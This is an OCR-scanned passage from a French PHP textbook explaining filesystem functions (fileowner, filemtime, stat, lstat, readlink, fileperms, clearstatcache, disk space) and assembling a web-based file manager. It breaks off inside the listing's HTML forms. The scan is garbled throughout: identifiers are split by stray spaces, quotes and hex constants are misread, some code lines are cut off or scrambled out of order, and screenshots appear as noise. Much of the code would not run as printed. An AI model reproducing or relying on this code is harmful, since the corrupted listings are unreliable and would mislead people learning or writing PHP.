return $tailleDef; 
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Figure 9.8 : 

Gestionnaire de fichiers 
(version 2) 



Utilisateurs et groupes proprietaires des fichiers 

Afin de recuperer l'identifiant de l'utilisateur et le groupe proprietaire du fichier, nous 
utiliserons deux autres fonctions qui sont fileOwnerO et fileGroupO. Ces fonctions 
renvoient les UID et GID correspondant au fichier. 



fileOwnerO (inoperant sous Windows) 

Retourne l'identifiant de l'utilisateur (UID) proprietaire du fichier. 

Syntaxe int fileOwner(string $nomFichier) 

$ n om F i c h i e r Chemin du fichier. 

retour Identifiant de l'utilisateur proprietaire du fichier (0 sous Windows), 

FALSE en cas d'erreur. 
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fileGroupO (inoperant sous Windows) 

Retourne l'identifiant du groupe (GID) proprietaire du fichier. 

Syntaxe int fileGroup (string $nomFichier) 

$nomFichier Chemin du fichier. 

retour Identifiant du groupe proprietaire du fichier (0 sous Windows), FALSE en 

cas d'erreur. 

<?php 

function proprietaire($fichier) 

{ 

$util isateur = fileowner($fichier) ; 
$groupe = filegroup($fichier) ; 

return array ("util isateur"=>$util isateur, 
"groupe"=>$groupe) ; 

} 

$tabPropietaire = proprietaireCfichier.txt"); 

echo "utilisateur = " .$tabPropietaire["utilisateur"] ; 

echo "<br />"; 

echo "groupe = ".$tabPropietaire["groupe"] ; 

?> 

utilisateur = 101 

groupe = 102 

II peut etre interessant d'afficher l'utilisateur et le groupe par leurs noms respectifs. II faut, dans 
ce cas, utiliser les fonctions du module posix, a savoir posix_getpwuid( ) et 
posix_getgrgid( ) . La premiere fonction renvoie les informations sur l'utilisateur possedant 
l'UID passe en parametre, et la seconde retourne les informations sur le groupe possedant le 
GID donne. 



i Vous pouvez vous reporter au chapitre "Les processus et les identifiants" pour plus 
d 'informations sur posix_getpwuid ( ) et posix_getgrgid( ). 
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RENVOI 



Le script suivant retourne done les noms du proprietaire et du groupe du fichier, et sera integre 
a notre gestionnaire de fichiers. 

Listing 9.26 : gestionnaire_fichier_03_inc.php (extrait) 

<?php 

function proprietaire($fichier) 

{ 

// recupere l'UID du fichier 

$uid = fileowner($fichier) ; 

// Recupere les informations sur l'UID 

$tabUtil isateur = posix getpwuid($uid) ; 
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} 

?> 



// recupere le GID du fichier 

$gid = filegroup($fichier) ; 

// Recupere les informations sur le GID 

$tabGroup = posix_getgrgid($gid) ; 

// Renvoie les noms du groupe et de 1 'utilisateur 
return array ( 

"uti 1 i sateur"=>$tabUti 1 i sateur ["name"] , 

" groupe "=>$tabGroup[" name"] 

); 



Simplement applique a un fichier de la fagon suivante : 

<?php 

$tabPropietaire = proprietaireCfichier.txt"); 

echo "utilisateur = ".$tabPropietaire["util isateur"] ; 

echo "<br />"; 

echo "groupe = ".$tabPropietaire["groupe"] ; 

?> 

cela pourrait donner : 

utilisateur = admin 
groupe = www 



Utilise dans notre gestionnaire de fichiers, cela donne : 
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Figure 9.9 : 

Gestionnaire de fichiers 
(version 3) 



Dates et heures fichiers 

II peut etre interessant de recuperer la date de la derniere modification du fichier. On utilisera 
alors la fonction f ilemtime ( ) du langage PHP. 



550 



Acceder au systeme de fichiers du serveur 



filemtimeO 



Retourne la date de la derniere modification du fichier. 



int filemtime(string $nomFichier) 
Chemin du fichier. 



Syntaxe 

$nomFichier 

retour Date de la derniere modification en secondes depuis epoch (l er Janvier 

1970). 
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Voila une nouvelle fonction que nous pouvons ajouter a notre gestionnaire de fichiers en 
l'agrementant d'une mise en forme de la date au format mois/jour/heure/minutes. 

Listing 9.27 : gestionnaire_fichier_04_inc.php (extrait) 

<?php 

function modificationFichier($fichier) 

{ 

// Recuperation de la derniere modification du fichier 

$modifi cation = filemtime($fichier) ; 

// Retourne la date de modifications formatee 
return strftime("%b %d %H:%M", $modification) ."\n"; 

} 
?> 
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Figure 9.10 : 

Gestionnaire de fichiers 
(extrait 4) 



Pour modifier cette date, vous pouvez utiliser la fonction touch ( ) . 
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touch () 



Specifie une nouvelle date de modification pour un fichier (cree le fichier s'il n'existe pas). 

Syntaxe boolean touch (string $nomFichier [, int $date] ) 

$nomFichier Chemin du fichier dont vous souhaitez modifier la date de derniere 

modification. 

$date Nouvelle date de modification (en secondes depuis epoch). Par defaut, il 

s'agit de la date courante. 

retour TRUE en cas de succes, FALSE sinon. 

<?php 

// Retourne la date de derniere modification du fichier 

echo filemti me ("fichier.txt") ; 

// Change la date dans la date courante 

touch("fichier.txt") ; 

// Retourne la nouvelle date de modification 

echo filemti me ("fichier.txt") ; 

?> 

De la meme facon, il est possible d'acceder a la date de dernier acces au fichier, ainsi qu'a la 
date du dernier acces a l'inode (derniere fois que les droits, utilisateur, groupe, date de derniere 
modification, etc. du fichier ont ete modifies). Les fonctions f ileatime ( ) et f ilectime ( ) 
permettent au developpeur d'acceder a ces differentes informations. 



fileatimeO 

Retourne la date et l'heure du dernier acces au fichier. 

Syntaxe int fileatime(string $nomFichier) 

$nomFichier Chemin du fichier. 

retour Date du dernier acces au fichier (en secondes depuis epoch). 

<?php 

function dateAcces($fichier) 

{ 

// Recuperation de la derniere modification du fichier 
$modification = fileatime($fichier) ; 

// Retourne la date de modifications formatee 
return strftime("%b %d %H:%M", $modification) ."\n"; 

} 

echo "Dernier acces au fichier le ". dateAccesCfichier.txt"); 

?> 
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filectimeO 

Retourne la date et l'heure du dernier acces a l'inode. 

Syntaxe int filectime(string $nomFichier) 

$nomFichier Chemin du f ichier. 

retour Retourne la date du dernier acces a l'inode (en secondes depuis epoch). 

<?php 

function dateAcces I node ($f ichier) 

{ 

// Recuperation de la derniere modification du fichier 
$modifi cation = filectime($fichier) ; 

// Retourne la date de modifications formatee 
return strftime("%b %d %H:%M", $modification) ."\n"; 

} 

echo "Dernier acces a l'inode le ". dateAccesInode("fichier.txt") ; 

?> 



*& 



Date de modification et d'acces et liens symboliques 

Si vous utilisez Vune des fonctions filectimeO, fileatimeO ou filemtimei) 
sur un lien symbolique, vous aurez la date de modification du fichier sur laquelle 
pointe le lien. Pour recuperer les informations sur le lien symbolique, vous devez 
utiliser la fonction lstat(). 



Inode 

Comme nous l'avons evoque precedemment, l'inode (index node ou nceud d'index) est une 
structure contenant les differentes informations liees a un fichier (droits, proprietaire, date de 
derniere modification, etc). A chaque inode est associe un identifiant INumber qui est le 
numero d'index de l'inode. 

Le langage PHP possede une fonction qui permet de recuperer ce numero d'index pour un 
fichier donne. L'instruction f ileinode ( ) permet en effet de retourner 1'INumber. 



filelnodeO (inoperant sous Windows) 

Retourne 1'INumber de l'inode d'un fichier. 

Syntaxe int filelnode (string $nomFichier) 

$ n om F ichier Chemin du fichier. 

retour Inode du fichier (0 sous Windows). 
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<?php 

echo fi lei node (" emma.png ") ; 

?> 

La fonction qui fait tout 

Pour recuperer les differentes informations en une seule fois, le langage PHP possede une 
fonction tres utile. La fonction stat ( ) permet, en effet, de retrouver tous les parametres du 
fichier dans un tableau. Cette instruction utilise la structure des fichiers pour obtenir les 
informations necessaires. 



statQ 



Retourne les informations a propos d'un fichier dans un tableau. 

Syntaxe array stat (string $nomFichier) 

$nomFichier Chemin du fichier a analyser. 

retour Tableau a la fois indexe et associatif contenant toutes les informations du 

fichier. 

Le tableau retourne contient toutes les informations relatives a un fichier ; ce tableau peut se 
decomposer comme suit : 

Tableau 9.3 : Le tableau retourne par la fonction stat() 
Indice Cle Description 

Dev Numero d'identifiant du systeme de fichiers. 

1 ino INumber de I'inode representant la structure du fichier. 



2 


Mode 


Les droits d'acces sur le fichier (valeur en decimal). 


3 


Nlink 


Nombre de liens vers le fichier. 


4 


Uid 


Identifiant du proprietaire du fichier. 


5 


Gid 


Identifiant du groupe proprietaire du fichier. 


6 


Rdev 


Identifiant du materiel (disque dur, CD-ROM, etc.) contenant le fichier 
(inode) (-1 sous Windows). 


7 


size 


Taille du fichier en octets. 



8 atime Indique la date du dernier acces en secondes depuis epoch (sous UNIX, 

epoch correspond au 1 er Janvier 1970 a heure minute et seconde, 
sous MacOS e'est 1 er Janvier 1 904 a heure minute et seconde qui 
serf de reference). 

9 mtime Date de la derniere modification du fichier depuis epoch. 

10 ctime Date du dernier changement (modification de I'inode). 
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Indice Cle 



Description 



11 biksize Taille des blocs (en octets) de reference pour les entrees/sorties du 

systeme de fichier (-1 sous Windows). 

12 blocks Nombre de blocs alloues pour le fichier (-1 sous Windows). 



L'exemple suivant, 

<?php 

f unct i on stati sti que ($chemi nFi chi er) 

{ 

$tableau = stat($cheminFichier) ; 
while (list($key, $val) = each($tableau)) { 
echo "$key : $val<br>"; 
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stati sti que("f ichier.txt") : 
?> 



pourrait retourner : 



: 


834 


1 : 


131934 


2 : 


33264 


3 : 


1 


4 : 


101 


5 : 


102 


6 : 





7 : 


23 


8 : 


1023545447 


9 : 


1023545460 


10 ! 


1023545460 


11 : 


4096 


12 : 


8 


dev 


: 834 


ino 


: 131934 


mode 


! : 33264 


nlir 


ik : 1 


uid 


: 101 


gid 


: 102 


rde\ 


- : 


size 


: : 23 


atime : 1023545447 


nit i me : 1023545460 


ctime : 1023545460 


blks 


ilze : 4096 



blocks : 8 
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S'il faut simplement recuperer les droits correspondant a un fichier, il suffit alors d'ecrire le 
programme suivant : 

<?php 

$tableau = stat("fichier.txt") ; 

// recupere les permissions sur le fichier 

$droits = $tableau["mode"] ; 

// Conversion en octale 

$octalPerm = decoct ($droits) ; 

// Recuperation des 3 derniers caracteres 

$normPerm = substr($octal Perm, -3) ; 

echo $normPerm; 

?> 



Retrouver le type du fichier 

Vous remarquerez que, dans Vexemple precedent, nous avons recupere simplement 

les trois derniers caracteres. En effet, seuls les derniers caracteres correspondent aux 

permissions du fichier. Les autres indiquent le type du fichier. 

0x1000 Port (Named pipe). 

0x2000 Correspond a un fichier de type caractere (imprimante, port serie, clavier, 

souris,..). 

0x4000 Repertoire. 

0x6000 Represente un materiel disposant d'un systeme d'entree/sortie (disques durs 

IDE, RAM, etc.). 

0x8000 Fichier dit "normal". 

OxAOOO Lien symbolique. 

OxCOOO Socket. 

Appliquee a un lien symbolique, la fonction stat ( ) retournera les informations concernant le 
fichier pointe. Si vous souhaitez obtenir les informations concernant le lien, vous devrez faire 
appel a la fonction lstat ( ) . Cette derniere est identique a la fonction stat ( ) et retourne un 
tableau identique. 



REMARQUE 



lstatQ 



Retourne les informations a propos d'un lien symbolique (ou d'un fichier). 

Syntaxe array lstat (string $nomFichier) 

$nomFi chi er Chemin du lien symbolique (ou fichier) a analyser. 

retour Tableau contenant toutes les informations du fichier. 

Vous pouvez sans doute etre amene a rechercher le fichier pointe par le lien symbolique. II est 
alors necessaire d'utiliser la fonction readLink ( ) . 
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readLink() (non disponible sous Windows) 

Retourne le nom et le chemin du fichier cible du lien symbolique. 

Syntaxe string readLink(string $nomLienSymb) 

$nomLi enSymb Lien symbolique a analyser. 

retour Chemin du fichier pointe par le lien symbolique (FALSE accompagne du 

message de type "warning" sous Windows). 

<?php 

if (syml ink( "/home/1 aurent/emma.png", 
"/home/damien/emma.png") { 

echo "te lien symbolique a bien ete cree."; 
} else { 

echo "te lien symbolique n'a pas ete cree."; 

} 

echo readlink("/home/damien/emma.png") ; 

?> 

/home/1 aurent/emma . png 

Si vous voulez simplement tester l'existence d'un lien symbolique, vous pouvez utiliser la 
commande linkinfoO. En effet, la commande file_exists ( ) retournera l'existence du 
fichier cible et non celle du lien. Remarquez que, si l'instruction trouve le fichier cible, c'est que 
le lien existe forcement. Mais il peut s'averer que le fichier cible soit inexistant. 
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linkinfoO (non disponible sous Windows) 

Retourne l'identifiant du materiel ou est stocke le lien symbolique. 

Syntaxe int 1 inklnfo (string $nomLienSymb) 

$nomLi enSymb Lien symbolique a analyser. 

retour Identifiant du materiel (ou device, c'est-a-dire le materiel ou est stocke le 

lien symbolique ; attention, device ne fait pas reference a un disque dur, 
mais a une partition) qui heberge le lien, ou FALSE si le lien n'existe pas, ou 
si une erreur se produit (avec un message de type "warning" sous 
Windows). 

<?php 

if (@linkInfo("emma.png") != -1) { 

echo "Le lien symbolique existe bien."; 
} else { 

echo "Le lien symbolique n'existe pas."; 
} 
?> 
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II est aussi possible d'utiliser f stat ( ) afin d'obtenir la liste des informations sur un fichier. La 
difference avec la fonction stat ( ) etant que f stat ( ) ne prend pas en parametre le chemin 
d'un fichier, mais un pointeur sur ce fichier. 



fstatQ 



Retourne les informations a propos d'un fichier dans un tableau. 

Syntaxe array f stat (string $fp) 

$f p Pointeur sur le fichier a analyser tel que retourne par f open ( ) . 

retour Tableau a la fois indexe et associatif contenant toutes les informations du 

fichier (comme le propose la fonction stat ( ) ), ou FALSE si une erreur 
survient. 

<? 

function statistique($cheminFichier) 

{ 

$fp = fopen("$cheminFichier","r") ; 
$tableau = fstat($fp); 

while (list($key, $val) = each($tableau)) { 
echo "$key : $val<br>"; 





fclose($fp) ; 


} 




statistiqueCfichier.txt" 


?> 




: 


834 


1 : 


131934 


2 : 


33264 


3 : 


1 


4 : 


101 


5 : 


102 


6 : 





7 : 


23 


8 : 


1023545447 


9 : 


1023545460 


10 


: 1023545460 


11 


: 4096 


12 


: 8 


dev 


: 834 


ino 


: 131934 


mode 


! : 33264 


nlink : 1 


uid 


: 101 


gid 


: 102 


rdev : 


size : 23 


atime : 1023545447 
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rati me : 1023545460 
ctime : 1023545460 
blksize : 4096 
blocks : 8 

Les differentes fonctions de statistiques demandent beaucoup de ressources au systeme. C'est 
pourquoi il existe un systeme de cache qui permet de conserver, pendant la duree de l'execution 
du programme, les differentes valeurs relatives a un fichier. En consequence, toutes les 
modifications apportees au fichier apres un appel aux fonctions de type stat ( ) ne seront pas 
visibles des appels ulterieurs a ces memes fonctions. Afin de renouveler le cache, vous devez 
faire appel a la fonction ciearstatcache ( ) . Le cache n'est valide que pendant la duree de 
l'execution du programme ; il n'est done pas necessaire d'appeler la fonction 
ciearstatcache ( ) avant chaque statistique sur les fichiers. 
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clearStatCacheQ 



Reinitialise le cache des fonctions de statistiques. 
Syntaxe void clearStatCache(void) 

<?php 

// Initialisation des droits en 770 

chmod("fichier.txt", 0770); 

// Lecture des droits 
$tableau = stat("fichier.txt") ; 
echo $tableau["mode"] ."<br />"; 

// modification des droits sur le fichier en 777 
chmod(" fich1er.txt", 0777); 

// Lecture des droits 
$tableau = stat("fichier.txt") ; 
echo $tableau["mode"] ."<br />"; 

// Reinitialisation du cache 
clearstatcache() ; 

// Lecture des droits 

$tableau = stat("fichier.txt") ; 

echo $tableau["mode"] ."<br />"; 

?> 

33272 

33272 

33279 

Nous pouvons observer, dans l'exemple precedent, que la modification des droits n'entraine 
pas de modification dans l'affichage des statistiques du fichier. Ce qui demontre la necessite de 
l'appel a la fonction ciearstatcache ( ) . Le cache est vide, et un nouvel appel a la fonction 
stat ( ) affiche les droits corrects du fichier. 



559 



CO 






05 


CO 




■o 


<D 


CO 


t= 


■a 


05 


o 








05 


'o 


to 


CO 


*^ 


CD 


a— 


05 

0. 


S3) 


05 


CO 


g 


03 


_l 




*~ 


cri 
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Comme nous l'avons annonce precedemment, les fonctions de statistiques entrainent une 
charge plus importante pour le systeme. Ceci est d'autant plus vrai lorsque vous utilisez les 
fonctions statO, fstatt) et IstatO qui retournent beaucoup d'informations. Certaines 
fonctions, plus legeres, peuvent les remplacer facilement si vous desirez seulement recuperer 
certaines informations sur le fichier. 

Pour recuperer les permissions sur un fichier, il est plus judicieux d'utiliser la fonction 
f ilePerms ( ) du langage PHP. 



filePermsO 



Retourne les permissions du fichier. 

Syntaxe int filePerms(string $nomFichier) 

$nomFichier Chemin du fichier. 

retour Droits d'acces sur le fichier (sous forme decimale) ou FALSE en cas 

d'erreur. 

<?php 

$droits = filepermsCfichier.txt"); 

// Conversion en octal e 

$octalPerm = decoct($droits) ; 

// Recuperation des 3 derniers caracteres 

$normPerm = substr($octal Perm, -3) ; 

echo $normPerm; 

?> 

Nous pouvons ameliorer notre gestionnaire de programmes pour qu'il affiche les droits des 
fichiers sous une forme classique pour un utilisateur Unixien. 

Listing 9.28 : gestionnaire_fichiers_05_inc.php (extrait) 



<?php 




function uPerm($perm) 




{ 




switch ($perm) 




{ 




case 0: 




$retPerm = 


ii n . 


break; 




case 1: 




$retPerm = 


"--x"; 


break; 




case 2: 




$retPerm = 


"-W-"; 


break; 




case 3: 




$retPerm = 


"-wx"; 
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break; 
case 4: 

$retPerm = "r- 

break; 
case 5: 

$retPerm = "r- 

break; 
case 6: 

$retPerm = "rv\ 

break; 
case 7: 

$retPerm = "rv\ 

break; 
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} 



return $retPerm; 



function affichePermission($fichier) 



{ 



// Recupere le mode du fichier et conversion en octal 
$mode = fileperms($fichier) ; 

// Determine le type du fichier 
if(($mode & 0x1000) === 0x1000) 



$type = "p" 
elseif(($mode & 

$type = "c" 
elseif(($mode & 

$type = "d" 
elseif(($mode & 

$type = "b" 
elseif(($mode & 

$type = "-" 
elseif(($mode & 

$type = "1" 
elseif(($mode & 

$type = "s" 
else 

$type = "u" 



// Port 

0x2000) === 0x2000) 

// Materiel 

0x4000) === 0x4000) 

// Repertoire 

0x6000) === 0x6000) 

// Materiel FIFO 

0x8000) === 0x8000) 

// Fichier normal 

OxaOOO) === OxaOOO) 

// Lien symbol i que 

OxcOOO) === OxcOOO) 

// Socket 

// Unknown 



$mode = decoct ($mode) ; 
SperTemp = substr($mode,-3) ; 

$permission["utilisateur"] = uPerm(substr($perTemp,0,l)i 
$permission["groupe"] = uPerm(substr($perTemp,l,l)) ; 
$permission["tous"] = uPerm(substr($perTemp,2,l)) ; 

return $type.$permission["utilisateur"] . 

$permission["groupe"] .$permission["tous"] ; 



(> 
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L'execution de ce programme affiche done une reponse de la forme drwxrwxrwx. 



Netscape 6 



|_ n x 



Fjchier Edition Afficher Fiechercher Ajler a Signets laches Ade 



-A , it 

Fricedent Transferer Recharger ^ 



* 11 dn 



;"iitp:.'/m^ownpcA'ciiomfchar. "* 



iH 



/home/rn.. . . 



drwxr-xr-x 

-rw-r--r-- 
-rw-r— r- 
-rw-r-r- 
-rw-r-r- 
-r-r— r— 



-r-r-r- 

-rw-r--r-- 
-rw-r— r- 
-rw-r— r— 



root root 
nobody nobody 
nobody nobody 
nobody nobody 
nobody nobody 
nobody nobody 
nobody nobody 
nobody nobody 
nobody nobody 
nobody nobody 
nobody nobody 



4k Jul 15 21:26 

533 Jul 14 10:20 

166 May07 12:34 

895 Jul 15 21:28 

174 Jul 15 21:40 

713 Jul 15 21:28 

433 Jul 13 20:12 

713 Jul 15 21:28 

764 Jul 14 15:32 

187 Jun20 08:14 

188 Jul 15 21:28 



config_inc.php 

fcoter_inc.php 

forumdbx_inc.php 

header_inc,php 

image. gif 

index, php 

logoPHP.gif 

main_inc.php 

menuleft_inc.php 

menuright_inc.php 



-;s&-- \£- Document : Terrnine (1.315s) 



Figure 9.11 : 

Gestionnaire de 
programmes (version 
5) 



Informations sur le disque 

Nous allons a present completer ce petit gestionnaire de fichiers en affichant l'espace disque 
disponible : l'espace disque total. disk_free_space( ) , ou son alias diskfreespace( ) , 
retourne la place restante sur le serveur ; l'instruction disk_totai_space ( ) renvoie la 
capacite totale du disque. 



disk_free_space() 



Retourne l'espace disponible sur le disque contenant un repertoire donne. 

Syntaxe float disk_free_space (string $repertoire) 

$repertoi re Chemin du dossier ou l'espace est a analyser. 

retour Espace disponible en octets, ou FALSE en cas d'erreur. 

<?php 

// Espace disponible dans le repertoire courant. 

echo disk_free_space("./") ; 

echo "<br />"; 

// Espace disponible a la racine. 

echo disk_free_space("/") ; 

?> 
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disk_total_space() 



Retourne l'espace total du disque contenant un repertoire donne. 
Syntaxe float disk_total_space(string $repertoire) 

$repertoi re Chemin du dossier ou l'espace est a analyser, 

retour Espace total en octets, ou FALSE en cas d'erreur. 

<?php 

// Espace disque total dans le repertoire courant. 

echo disk_total_space("./") ; 

echo "<br />"; 

// Espace disque total a la racine. 

echo disk_total_space("/") ; 

?> 

II est a present possible d'ajouter une fonction utilisateur a notre gestionnaire de fichiers. 
Celle-ci va nous permettre d'afficher l'espace restant ainsi que l'espace total dans le repertoire 
courant. 
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Listing 9.29 : gestionnaire_fichier_06.php (extrait) 

function espaceDisque($repCourant) 



{ 



$Mo = pow(2, 20); 

// Retourne une chaTne de caracteres indi quant 

// l'espace disque disponible sur l'espace disque 

// total . 

$chDisque = round(disk_free_space($repCourant)/$Mo, l)."Mo"; 

$chDisque .= " / " ; 

$chDisque .= round(disk_total_space($repCourant)/$Mo, l)."Mo"; 

return $chDisque; 



= Netscape B 








PIUS 


.. Fichier Edition Afficher Rechercher 


Aller 


a Signets Teches 


Aide 


: : Precedent 


it T 3 

Transferer Recharge 


1 






| hUp:/.1r!yownpw'cdrcrfi/crwf ' ) 1 ..._ 


■,| 




| ||/horrie/nionsite 


313.1Mo/9836.4M 


-} 


drwxr-xr-x 


root root 


4k 


Jul 15 21:26 




-rw-r-r- 


nobody nobody 


533 


Jul 14 10:20 


config_inc.php 


-rw-r~r~ 


nobody nobody 


166 


May 07 12:34 


footer_inc.php 


■ -rw-r--r-- 


nobody nobody 


895 


Jul 15 21:28 


foru.rridbx_inc.php 


i -rw-r--r-- 


nobody nobody 


174 


Jul 15 21:40 


header_inc.php 


i -r-r-r- 


nobody nobody 


713 


Jul 15 21:28 


irnage.gif 


= -rw-r-r- 


nobody nobody 


433 


Jul 13 20:12 


index, php 


: . r .. r .. r . 


nobody nobody 


713 


Jul 15 21:28 


logoPHP.gif 


-rw-r~r~ 


nobody nobody 


764 


Jul 14 15:32 


main_inc.php 


-rw-r--r-- 


nobody nobody 


187 


Jun 20 08:14 


rnenuleft_inc.php 


-rw-r-r- 


nobody nobody 


188 


Jul 15 21:28 


rnenur ight_inc .php 


"jsU \£* Document : Termine (1 .186 a) 






_____ 



Figure 9.12 : 

Gestionnaire de fichiers 
(version 6) 
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Exemple d'application 



A present, nous pouvons modifier notre gestionnaire de fichiers de fagon a permettre aux 
utilisateurs d'acceder a la copie de fichiers, ainsi qu'aux autres fonctions : creation de liens, de 
liens symboliques, de repertoires, suppression et emplacement de fichiers. 

Nous allons maintenant ajouter des boutons radio afin de permettre la selection d'un des 
fichiers et d'une serie de champs texte, ainsi que des boutons destines a selectionner une 
operation a effectuer en precisant eventuellement un nom. 

Ce qui nous donne le script complet final suivant : 

Listing 9.30 : gestionnaire_fichiers_07_inc.php 

<?php 

// La fonction d 1 exploration 

// $chemin : Repertoire a explorer 

// $recursif : TRUE si 1 'exploration doit etre recursive 

// $filtre : Expression reguliere de filtrage des fichiers 

function explorer($chemin, $recursif=FALSE, $fil tre=NULL) { 
$1 i steFi chier = array(); 

$repertoire = openDir($chemin) ; 

while ($fi chier = readDir($repertoire)) { 

// Inutile de tenir compte des entrees . et . . 
if (($fichier != ".")&&($fichier != "..")) { 
// Est-ce que $file est un repertoire ? 
// Pour le savoir il suffit d'appeler is_dir 
// mais attention n'oublions pas d'ajouter 
// le chemin au nom du fi chier 
if (is_dir($chemin.7".$fichier)&&($recursif)) { 
// oui ? alors explorons-le 

// et ajoutons le resultat a la liste de fichiers 
$listeFichier = array_merge($listeFichier, 

explorer ($chemin. "/".$fi chier, 
$recursif, $filtre)); 
} else { 

// sinon, e'est un fichier et s'il repond 

// aux criteres de 1 'expression reguliere 

// on l'ajoute a la liste des fichiers 

if (is_null($filtre) | |eregi ($f litre, $fi chier)) { 

$1 isteFi chier [] = $chemin."/".$fichier; 
} 
} 
} 
} 

// C'est fini. On ferme ! 
cl oseDi r ($repertoi re) ; 
// et on retourne le resultat trie 
sort($listeFichier) ; 
return $1 isteFichier; 
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// Retourne la taille du fichier 
function tai 1 1 eFi chi er ($ fichier) 
{ 

// calculs des taux de conversion entre Ko, Mo et octet 

$Ko = pow(2, 10); 

$Mo = pow(2, 20); 

// recupere la taille du fichier en octets 
$taille = fileSize($fichier) ; 

// Pas de conversion 
if ($taille<$Ko){ 

$tailleDef = $taille; 
// Conversion en Ko 
} elseif ($taille>=$Ko && $taille<$Mo) { 

$tailleDef = round($taille/$Ko, l)."k"; 
// Conversion en Mo 
} else { 

$tailleDef = round($taille/$Mo, 1)."M"; 
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return $tai 1 1 eDef ; 



} 



// Retourne le groupe et 1 'util isateur 
// proprietaires du fichier 
function proprietaire($fichier) 

{ 

// recupere l'UID du fichier 

$uid = fileowner($fichier) ; 

// Recupere les informations sur l'UID 

$tabUtil isateur = posix_getpwuid($uid) ; 

// recupere le GID du fichier 

$gid = filegroup($fichier) ; 

// Recupere les informations sur 1 'GID 

$tabGroup = posix_getgrgid($gid) ; 

// Renvoi e les noms du groupe et de 1 'util isateur 
return array( 

"util isateur"=>$tabl)til isateur ["name"] , 

" groupe "=>$tabGroup[" name"] 

); 
} 

// Retourne la date de la derniere modification du fichier 
f uncti on modi f i cati onFi chi er ($f i chi er) 

{ 

// Recuperation de la derniere modification du fichier 
$modification = filemtime($fichier) ; 

// Retourne la date de modification formatee 
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} 



return strftime("%b %d %H:%M", $modifi cation) . "\n" ; 



// Retourne les permissions sous la forme "rwx" 
function uPerm($perm) 

{ 

switch ($perm) 

{ 

case 0: 

$retPerm = " — "; 

break; 
case 1: 

$retPerm = "--x"; 

break; 
case 2: 

$retPerm = "-w-"; 

break; 
case 3: 

$retPerm = "-wx"; 

break; 
case 4: 

$retPerm = "r--"; 

break; 
case 5: 

$retPerm = "r-x"; 

break; 
case 6: 

$retPerm = "rw-"; 

break; 
case 7: 

$retPerm = "rwx"; 

break; 

} 

return $retPerm; 



} 



// Retourne les permissions du fichier 
function affichePermission($fichier) 

{ 

// Recupere le mode du fichier et conversion en octal 
$mode = fileperms($fichier) ; 



// Determine le type du fichier 
if(($mode & 0x1000) === 0x1000) 



$type = "p" 
elseif(($mode & 

$type = "c" 
elseif(($mode & 

$type = "d" 
elseif(($mode & 

$type = "b" 



// Port 
0x2000) === 0x2000) 

// Materiel 
0x4000) === 0x4000) 

// Repertoire 
0x6000) === 0x6000) 

// Materiel FIFO 



elseif(($mode & 0x8000) === 0x8000) 
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$type = "-" 
elseif(($mode & 

$type = "1" 
el seif (($mode & 

$type = "s" 
else 

$type = "u" 



// Fichier normal 
OxaOOO) === OxAOOO) 

// Lien symbol i que 
OxcOOO) === OxCOOO) 

// socket 

// Unknown 



$mode = decoct ($mode) ; 
SperTemp = substr($mode,-3) ; 

$permission["utilisateur"] = uPerm(substr($perTemp,0,l] 
$permission["groupe"] = uPerm(substr($perTemp,l,l)) ; 
$permission["tous"] = uPerm(substr($perTemp,2,l)) ; 

return $type.$permission["utilisateur"] . 

$permission["groupe"] .$permission["tous"] ; 



// Retourne l'espace disque libre et total 

function espaceDisque($repCourant) 

{ 

$Mo = pow(2, 20); 

// Retourne une chaine de caracteres indi quant l'espace disque 

// disponible sur l'espace disque total. 

$chDisque = round(di sk_free_space($repCourant)/$Mo, l)."Mo"; 

$chDisque .= " / " ; 

$chDisque .= round(disk_total_space($repCourant)/$Mo, l)."Mo"; 

return $chDisque; 



// Liste et affiche le contenu du repertoire courant 
function listRepertoireQ 

{ 

// Recuperation du chemin courant 
$repCourant = getcwd(); 

$fichiers = explorer(".") ; 

// Nous ajouterons ".." (qui a ete filtre par la fonction) 
if ($repCourant != "/") $fichiers = array_merge (array ("./..") , $fichiers); 
?> 

<table border="l" width="100%"> 
<tr> 

<tdxfont color="#cc0000"> 

<?php echo $repCourant; ?> 

</fontx/td> 

<td> 

<?php echo espaceDisque($repCourant) ;?> 

</td> 
</tr> 
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</table> 

<table border="0" width="100%"> 

<form name='fl iste'> <?php // Formulaire de selection de fichier ?> 
<?php 

for ($i=0; $i<count($fichiers) ; $i++) 
{ 
?> 

<tr> 
<td> 
<input type="radio" name="selection" 

value="<?php echo $fichiers[$i] ;?>"> 
</td> 
<td> 

<?php echo affichePermission($fichiers[$i]) ;?> 
</td> 
<td> 
<?php 

$tabProprietaire = proprietaire($fichiers[$i]) ; 
echo $tabPropri etai re ["uti 1 i sateur"] . "  " ; 
echo $tabProprietaire["groupe"] ; 



?> 



<?php 



?> 



?> 



</td> 

<td> 

<?php echo tailleFichier($fichiers[$i]) ;?> 

</td> 

<td> 

<?php echo modificationFichier($fichiers[$i]) ;?> 

</td> 

<td> 

/* Le fichier est-il un repertoire ? */ 

if (is_dir($fichiers[$i])) 

{ 

/* 

Le fichier est un repertoire 

On affiche alors un lien qui va nous permettre 

de visualiser le contenu de ce dossier 

*/ 

<a href="?repertoire=<?php echo $repCourant."/"-$f"' c ' 1 iers[$i] ;?>"> 

<?php echo basename($fichiers[$i]) ;?> 

</a> 
<?php 
}else{ 

/* 

Le fichier n'est pas un repertoire 

On affiche simplement le nom du fichier 

*/ 

echo basename($fichiers[$i]) ; 

} 
</td> 
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</tr> 

<?php 

} 
?> 

</form> 
</table> 
<?php 

/* 

Affichage des differents formul aires HTML nous 
permettant de manipuler les fichiers et repertoires. 

7 
?> 

<table border='0' width= ' 100%'> 

<?php /* Copie de fichier */?> 
<tr> 

<form method='post ' action='gestionnairefichier.php' name='fcopie'> 
<td> 

<b>Copie d'un fichier</b>   
<input type=' hidden 1 name=' repertoire' 

value='<?php echo $repCourant;?>'> 
<input type='hidden' name=' idFichier'> 
nom du nouveau fichier <input type='text' name='nomCopy'> 
<input type=' hidden 1 value='copy' name='operation'> 
<input type=' button 1 value=' Copier ' 
oncl i c k = ' 

for (var i = 0; i < document. fl iste. selection. length; 1++) { 
if (document. fliste.selection[i] .checked) { 
document. f copie. id Fichier. value = 
document.fliste.selection[i] .value; 
break; 
} 
} 

document. fcopie.submit() ; 
'> 

</td> 
</form> 
</tr> 

<?php /* Creation d'un lien */?> 
<tr> 

<form method='post ' action='gestionnairefichier.php' name='fl ien'> 
<td> 

<b>Creation d'un lien sur un fichier</b>   
<input type=' hidden' name=' repertoire' 

value='<?php echo $repCourant; ?>'> 
<input type=' hidden' name=' i dFichier '> 
nom du lien <input type='text' name='nomLien'> 
